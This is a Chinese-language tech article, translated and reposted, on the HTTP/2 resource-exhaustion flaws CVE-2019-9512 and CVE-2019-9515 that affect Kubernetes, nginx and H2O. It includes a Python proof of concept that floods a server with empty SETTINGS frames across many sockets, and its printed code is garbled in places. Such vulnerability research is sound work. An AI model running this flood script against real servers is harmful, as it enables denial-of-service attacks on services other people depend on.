最新 HTTP/2 漏洞曝光,直指 Kubernetes

发表于:2019-9-30 09:43

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:弯月译    来源:CSDN

#
漏洞
  几周前,Netflix公开了许多第三方HTTP/2实现中都存在的资源耗尽漏洞——由Jonathan Looney发现。该漏洞会直接影响Kubernetes中的HTTP/2端点(由net/http、x/net/http2等GoLang库实现),还会影响到nginx等其他项目。甚至还有人为这个漏洞画了个标志。
 
  虽然人们对DoS的漏洞见怪不怪了,但我没有太多有关HTTP/2的经验,特别是在传输层,所以我决定利用这次机会深入了解HTTP/2的规范及其工作原理。
  最新 HTTP/2 漏洞曝光,直指 Kubernetes
  背景
  为了理解HTTP/2实现中的各种弱点,你需要深刻地理解HTTP/1.1和HTTP/2之间的基本差异。更多详细信息,我推荐你阅读Google的HTTP/2简介(https://developers.google.com/web/fundamentals/performance/http2/),在文本中,我只介绍几个关键点。
  HTTP/2引入了一个与HTTP/1.1的数据传输有显著差异的功能:通过单个TCP连接多路复用多个数据交换。该功能为HTTP/2带来了显著的性能优势,但它本身需要一些额外的流控制逻辑。简而言之,在HTTP/2中,单个TCP连接可以携带多个流,这些流由包含帧序列的多个消息组成。
  
  从上图中可以看出,HTTP/2与标准的HTTP的请求-响应语法非常接近,只不过这些请求和响应封装在了包含相关帧(HEADERS和DATA)的HTTP/2消息流中。这个规范中有许多其他帧类型,主要与流控制相关,熟悉HTTP/1.1模型的人可能并不了解这些类型:
  PRIORITY
  RST_STREAM
  SETTINGS
  PUSH_PROMISE
  PING
  GOAWAY
  WINDOW_UPDATE
  CONTINUATION
  漏洞
  下面让我们来看一看CVE-2019-9512和CVE-2019-9515,二者分别会利用PING和空SETTINGS帧发送大量消息到HTTP/2的监听进程。最初的公告表明,恶意客户端会将这些帧发送到服务器上,迫使服务器生成响应,但客户端不会读取响应,它们会持续发送大量消息,最终可能耗尽服务器的CPU和内存。
  
  请注意,普通的客户端通常不会持续发送PING帧数据流,这只是为了比较正常的客户端数据交换与恶意客户端的攻击行为而举的例子。
  概念验证
  由于没有找到公开的概念验证程序,所以我决定编写一个,然后找一个未修复的本地目标进行测试。H2O似乎是一个不错的选择,所以我选择了他们易受攻击的docker镜像版本,并发送了如下curl测试请求:
  
  如上所示,curl请求的响应头部确认该服务器支持HTTP/2。现在我找到了一个易受攻击的目标,接下来开始编写入侵代码——这里我们只关心SETTINGS帧的洪水攻击:
  攻击者发送一系列SETTINGS帧。由于RFC要求服务器针对每个SETTINGS帧回复一个确认,因此空SETTINGS帧几乎等同于ping的行为。根据该数据的队列效率,这些请求可能会过度消耗CPU或内存(或两者兼有),最终导致服务器拒绝访问。
  这种攻击看起来很简单:我们只需要重复发送空SETTINGS帧,直到目标服务降级为止。看似就这么简单:我们只需要通过发送HTTP/2的引导帧来启动连接。下面是Wireshark截获的连接引导帧:
  
  接下来,我们只需要一个空SETTINGS帧的结构:
  
  在收集到所需的二进制消息帧的示例之后,我们就可以编写攻击循环了(仅用于研究目的)。
    import socket
  import sys
  import time
  class SettingsFlood:
  SETTINGS_FRAME = b'\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00'
  PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\\x00\\x00*\\x04\\x00\\x00\\x00' \
  b'\\x00\\x00\\x00\\x01\\x00\\x00\\x10\\x00\\x00\\x02\\x00\\x00\\x00\\x01' \
  b'\\x00\\x04\\x00\\x00\\xff\\xff\\x00\\x05\\x00\\x00@\\x00\\x00\\x08\\x00' \
  b'\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00d\\x00\\x06\\x00\\x01\\x00\\x00'
  def__init__(self, ip, port=80, socket_count=200):
  self._ip = ip
  self._port = port
  self._sockets = [self.create_socket() for _ in range(socket_count)]
  defcreate_socket(self):
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(4)
  s.connect((self._ip, self._port))
  s.send(self.PREAMBLE)
  return s
  except socket.error as se:
  print("Error: "+str(se))
  time.sleep(0.5)
  return self.create_socket
  defattack(self, timeout=sys.maxsize, sleep=1):
  t, i = time.time, 0
  while time.time - t < timeout:
  for s in self._sockets:
  try:
  s.send(self.SETTINGS_FRAME)
  except socket.error:
  self._sockets.remove(s)
  self._sockets.append(self.create_socket)
  time.sleep(sleep/len(self._sockets))
  if __name__ == "__main__":
  dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
  dos.attack(timeout=60*10*10)
  在针对测试容器运行上述脚本并发送另一个curl请求后,很明显攻击开始按照计划展开了——请求在等待服务器响应时挂起:
  
  修复
  大多数受影响的服务商都针对这些问题发布了补丁,他们采用了与H2O和GoLang类似的方法:限制发送队列中控制帧的数量。
  原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/

      本文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理

《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号